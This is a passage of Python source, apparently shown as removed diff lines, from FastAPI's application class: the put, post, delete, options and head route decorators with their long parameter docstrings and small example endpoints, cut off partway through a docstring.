@app.put("/items/{item_id}") - def replace_item(item_id: str, item: Item): - return {"message": "Item replaced", "id": item_id} - ``` - """ - return self.router.put( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def post( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP POST operation. - - ## Example - - ```python - from fastapi import FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - - @app.post("/items/") - def create_item(item: Item): - return {"message": "Item created"} - ``` - """ - return self.router.post( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def delete( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP DELETE operation. - - ## Example - - ```python - from fastapi import FastAPI - - app = FastAPI() - - @app.delete("/items/{item_id}") - def delete_item(item_id: str): - return {"message": "Item deleted"} - ``` - """ - return self.router.delete( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def options( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP OPTIONS operation. - - ## Example - - ```python - from fastapi import FastAPI - - app = FastAPI() - - @app.options("/items/") - def get_item_options(): - return {"additions": ["Aji", "Guacamole"]} - ``` - """ - return self.router.options( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def head( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all 